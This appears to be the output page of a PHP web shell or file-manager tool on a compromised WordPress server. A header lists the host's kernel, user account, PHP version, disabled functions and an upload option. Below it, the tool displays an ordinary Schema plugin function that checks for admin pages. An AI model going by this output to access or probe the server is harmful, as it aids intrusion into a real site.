WS_OK_7.4.33 HEX
HEX
Server: nginx/1.21.4
System: Linux v12674 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: endtheignorance (1014)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v12674/lcanorthwest/public_html/wp-content/plugins/schema/includes/admin/admin-pages.php
<?php
/**
 *  Determines whether the current admin page is an Schema admin page.
 *
 *  Only works after the `wp_loaded` hook, & most effective
 *  starting on `admin_menu` hook.
 *
 *  @since 1.0
 *  @return bool True if Schema admin page.
 */
function schema_wp_is_admin_page() {

	if ( ! is_admin() || ! did_action( 'wp_loaded' ) ) {
		$ret = false;
	}

	if( ! isset( $_GET['page'] ) ) {
		$ret = false;
	}

	$page  = isset( $_GET['page'] ) ? $_GET['page'] : '';
	
	$pages = array(
		'schema',
		'schema-extensions',
		'schema-wp-getting-started',
		'schema-wp-what-is-new',
		'schema-wp-credits'
	);

	$ret = in_array( $page, $pages );

	return apply_filters( 'schema_wp_is_admin_page', $ret );
}